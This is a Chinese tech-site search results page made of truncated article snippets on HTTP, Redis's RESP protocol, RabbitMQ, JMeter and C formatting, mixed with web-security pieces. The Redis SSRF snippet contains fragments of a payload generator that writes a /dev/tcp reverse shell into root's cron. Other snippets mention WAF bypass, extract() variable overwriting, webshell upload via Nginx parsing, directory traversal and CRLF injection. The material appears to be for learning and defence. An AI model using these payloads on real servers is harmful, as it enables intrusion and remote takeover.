首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

天下无难试之HTTP协议面试刁难大全

其实还有很多状态码,小编也没去好好研究了,因为实在不会在工作中用到。感兴趣的请继续阅读维基百科 HTTP有哪些Method? GET 不解释,如果读者不知道,建议别在IT圈混了。...这三个部分以CRLF作为分隔符。最后一个消息头有两个CRLF,用来表示消息头部的结束。...形如Content-Encoding: gzip 消息体是一个字符串字符串的长度是由消息头部的Content-Length键指定的。...服务器先生成一个chunk,发送这个chunk,再生成一个chunk,再发送一个chunk,直到全部资源传送完成。...HTTP1.0不支持管线化,同一个连接处理请求的顺序是逐个应答模式,处理一个请求就需要耗费一个TTL,也就是客户端到服务器的往返时间,处理N个请求就是N个TTL时长。

61010

手写一个简易版数据库!项目经验稳了

github.com/CN-GuoZiyang/MYDB ip2region:离线 IP 地址定位库 ip2region 是一个高性能离线 IP 地址定位库,10 微秒级别的查询效率,开箱即用,提供了多种主流编程语言...( Go,Java,Python)的 xdb 数据生成和查询客户端 API。...compileflow 专注于纯内存执行,无状态的流程引擎,通过将流程文件转换生成java代码编译执行,简洁高效。当前是阿里业务中台交易等多个核心系统的流程引擎。...下面是 TTL 官方的一些资料: TTL 需求场景说明[1] TTL 实际业务使用场景与设计实现解析[2] 再推荐几篇文章帮助大家理解 TTL 的原理和设计思想: 微服务中使用阿里开源的 TTL,优雅的实现身份信息的线程间复用...通过 transmittable-thread-local 源码理解线程池线程本地变量传递的原理[3] 如何在子线程和线程池中使用 ThreadLocal 传输上下文[4] 参考资料 [1] TTL

3.3K30
您找到你想要的搜索结果了吗?
是的
没有找到

SSRF安全指北

本篇文章详细介绍了SSRF的原理,在不同语言中的危害及利用方式,常见的绕过手段,新的攻击手法以及修复方案。 1....第一个正式的深入利用是orange在blackhat大会上提出的A-New-Era-Of-SSRF-Exploiting,利用语言本身自带的解析函数差异来绕过检测,在该ppt中举例了大量不同编程语言的url...当然,上述情况是最理想的情况,在不同的语言,不同服务器中也存在差异 1. java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存...该手法是将ssrf+dns rebinding+tls session完美结合在一起的利用链,能够在不依赖其他漏洞(CRLF)的情况下,攻击内网中的memcache、SMTP服务。...每一个会话都由一个Session ID标识符标识,当建立一个TLS连接时,服务器会生成一个session ID给客户端,服务端保留会话记录,重新连接的客户端可以在clientHello消息期间提供此会话

1.5K30

一文彻底理解Redis序列化协议,你也可以编写Redis客户端

RESP可以序列化不同的数据类型,整型、字符串、数组还有一种特殊的Error类型。需要执行的Redis命令会封装为类似于字符串数组的请求然后通过Redis客户端发送到Redis服务端。...RESP在Redis中用作请求-响应协议的方式如下: Redis客户端将命令封装为RESP的数组类型(数组元素都是定长字符串类型,注意这一点,很重要)发送到Redis服务器。...Null值的时候,客户端不应该返回空字符串,而应该返回对应编程语言中的Null对象。...(2)紧接着的是组成RESP数组的元素个数(十进制数,但是最终需要转换为字节序列,10需要转换为1和0两个相邻的字节),元素个数分块以CRLF终止。...其实文档中还有一节使用C语言编写高性能RESP解析器,这里不做翻译,因为掌握RESP的相关内容后,可以基于任何语言编写解析器。

1.8K50

PHP安全:变量的前世今生

摘要 变量安全是PHP安全的重要部分,本文系统地分析了一个变量的“人生之旅”中存在哪些安全问题。变量的人生之路:传入参数→变量生成变量处理->变量储存。...Part2 变量生成 传入参数后,php会根据一定规则生成变量。 (1).服务器使用REQUEST获取参数,它可以通过POST和GET同时发包绕过部分WAF。...(2).服务器使用extract( )函数,把得到的变量中的键与值生成对应变量,可能会导致变量覆盖,从而造成安全问题。Ctf常用来覆盖白名单。...(3).变量名加上[]传入数组,绕过关于md5函数的一些检查。 md5(aaa[])===md5(bbb[]) (4).反序列化。...这里要提到一个PHP关于变量生成的特殊性质。

1.7K20

RabbitMQ在Java中的完美实现:从入门到精通

一、RabbitMQ简介RabbitMQ是一个开源的AMQP实现,服务器端用Erlang语言编写,支持多种客户端,:Python、Ruby、.NET、Java、JMS、C、PHP、ActionScript...本文将详细介绍如何在Java项目中使用RabbitMQ。二、环境搭建2.1 安装ErlangRabbitMQ是基于Erlang语言开发的,因此首先需要安装Erlang。...private static final int PRIORITY = 5; // 优先级,范围:0-9(0-5为普通优先级,4-9为加权优先级) private static final int TTL...private static final String CUSTOM_CONSUMER_TAG = "custom_consumer_tag"; // 自定义消费者标签,用于过滤消息,可选参数,默认为空字符串...final String CUSTOM_PREFIXED_ROUTING_KEY = "custom_prefixed_routing_key"; // 自定义前缀路由键,用于过滤消息,可选参数,默认为空字符串

8410

JMeter36个内置函数及11个新增函数介绍

__BeanShell脚本语言 执行BeanShell脚本。BeanShell是Java编写的Java源码解释器,小型、免费、可嵌入,可以像写脚本语言一样写Java,无需编译,立即运行。...示例,字符串拼接: ? 输入表达式后,点击Generate & Copy to clipboard按钮,会生成函数语法并复制到粘贴板,同时输出函数运行结果。...__evalVar 把表达式的结果存入变量。 示例: ? ? __FileToString 读取文件全部内容,以字符串形式保存到变量中。 示例: ? __intSum int型求和。 示例: ?...__unescape 返转escape字符,\r\n转成CRLF。 __unescapeHtml 反转HTML,  转成空格。...__urlencode 转成Unicode编码字符,word"school"转成word%22school%22。 __UUID 生成唯一字符串

4.3K20

Redis协议规范(译文)

--more--> RESP是以下几方面的考虑: 易于实现 快速解析 可读性高 RESP可以序列化不同的数据类型,整型,字符串,数组。 还有一种特定的错误类型。...RESP在Redis中用作请求 - 响应协议的方式如下: 客户端将命令作为字符串数组发送到Redis服务器。 服务器根据命令实现回复一种RESP类型数据。...RESP 单行字符串(简单字符串) 简单字符串按以下方式编码:加号字符,后跟不能包含CR或LF字符的字符串(不允许换行),由CRLF终止(即“\ r \ n”)。...RESP 多行字符串 多行字符串用于表示长度最大为512 MB的单个二进制安全字符串。 多行字符串按以下方式编码: 一个“$”字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。...字符串数据。 最终的CRLF

98830

Redis中SSRF的利用

RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。...RESP在Redis中用作请求 - 响应协议的方式如下: 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。 服务器根据命令实现回复一种RESP类型。...我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$4代表字符串的长度,0d0a即\r\n表示结束符;+OK...main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload(向右滑动,查看更多) 生成.../tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron" (向右滑动,查看更多) 生成一波

56730

浅谈 Redis 通信协议

RESP设计是以下各项之间的折衷: 实现简单 快速解析 可读性强 RESP 可以序列化不同的数据类型,整数、字符串、数组,还有一种特定的错误类型。...RESP 在 Redis 中用作请求-响应协议的方式如下: 客户端将命令作为批量字符串的 RESP 数组发送到 Redis 服务器。 服务器根据命令实现以其中一种 RESP 类型进行回复。...当 Redis 回复一个简单字符串时,客户端库应该向调用者返回一个字符串,该字符串由“+”之后的第一个字符组成,直到字符串的末尾,不包括最后的 CRLF 字节。...如果操作实际执行,其他命令SADD、SREM和SETNX将返回 1,否则返回 0。...实际的字符串数据。 最后的 CRLF

1.5K10

小记 - Xray

chaitin/xray/releases 文档地址:https://xray.cool/xray/#/ 这里将解压出来的xray_windows_amd64.exe重命名为xray.exe,并添加进环境变量...SwitchyOmega、FoxyProxy 启动xray,生成CA证书。...运行以下命令,将在当前文件夹生成 ca.crt 和 ca.key 两个文件 $ xray genca 安装并信任生成证书,Chrome、IE等浏览器可以直接双击生成的ca.crt证书文件,导入系统证书即可...第一次启动Xray,会在当前目录下生成配置文件。若配置被动代理模式,需要增加过滤,只扫描指定目标站点,避免扫描到未授权站点。...可参考:POC 编写文档(https://chaitin.github.io/xray/#/guide/poc) 文件上传检测(upload): 支持检测常见的后端服务器语言的上传漏洞 弱口令检测(brute_force

1.3K30

【计算机网络】应用层 : 万维网 和 HTTP 协议 ( 万维网概述 | HTTP 协议特点 | HTTP 协议连接方式 | HTTP 协议报文结构 | HTTP 请求报文 | HTTP 响应报文 )

Tomcat , IIS ; ⑥ HTML 语言 : 万维网 使用 HTML 超文本标记语言 ; 二、HTTP 协议 ( 超文本传输协议 ) ★ ---- HTTP 协议 ( 超文本传输协议 ) : 定义了...TCP 连接 ; 五、HTTP 协议报文结构 ---- HTTP 协议报文结构 : HTTP 报文分为 请求报文 和 响应报文 , HTTP 报文是面向文本的 , 报文中每个字段都是 ASCII 码字符串...是 CRLF 回车换行 , 在后面就是 实体主体 ; 状态码类型 : 1xx 状态码 : 表示 通知信息 , 收到请求 , 正在处理请求 ; 2xx 状态码 : 表示 成功 , 202 Accepted...; 3xx 状态码 : 表示重定向 , 完成请求还需要进一步操作 ; 4xx 状态码 : 表示客户差错 , 请求无法完成 , 404 Not Found ; 5xx 状态码 : 表示服务器差错..., 服务器失效 , 无法完成请求 ;

91200

常见中间件漏洞(续二)

**漏洞条件:**结合文件上传即可 Apache目录遍历漏洞 由于开启了允许访问目录,或者文件名可以任意更改而服务器支持“~/”,“…/”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,网站的配置文件...Nginx目录遍历漏洞 由于开启了允许访问目录,或者文件名可以任意更改而服务器支持“~/”,“…/”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞...接着访问jadore.jpg/.php,在这个目录下就会生成一句话木马shell.php Nginx-CRLF漏洞 CRLF(Carriage-Return Line-Feed)大意是指回车换行 ?...在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。...(记得不要忘了环境变量path中要有c:\system32…那个windows命令集变量,自行百度) 5.C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar

82940

简单web安全入门

数据与代码分离原则 “注入”攻击(XSS、CRLF注入、SQL注入、缓冲区溢出)产生的原因,就是代码和数据没有分离开,而把“数据”当成“代码”执行了。...假如请求是无法伪造/无法预测的,那么攻击者自然就无法替用户伪造并发起请求:用户第一次访问页面的时候,后台生成一个token,存到session和cookie里面。...防止SQL注入: 使用参数化查询:将SQL语句和参数分开提交给DB,而不是自己拼完整的字符串,这个需要库的支持。...小心地对输入字符串进行escape,使用mysql_real_escape_string。...CRLF注入 CRLF也是一种注入攻击,一般是指在http header注入CRLF这两个字符,导致改变了HTTP包的语义。 在将数据设置为http header的时候,要注意这个问题。

84060

c语言格式大整理

注: 文本文件的行结束符,传统上(MS)PC用 CRLF,苹果Mac用CR,unix 用 LF。...CR -- 回车符,c语言'\r' LF -- 换行符, c语言'\n' 不同计算机上c语言统一规定为:文本文件的行结束符一律变成一个符号LF,也就是换行符'\n'。...(1)字符串常量的输出     无表达式,格式串中无格式符,:     printf("We are students....c 输入一个字符(可输入控制字符) s 输入字符串(遇到第一个空格、TAB或换行符结束转换) 前缀修饰符: L: 输入long double类型变量必加 l: 输入长整型变量或者double型变量必加...格式控制字符串中可以包含转义字符。       格式控制字符串中的普通字符则原样输出。       输出项的参数除了常数、变量外还可以是表达式、函数调用。

3K70
领券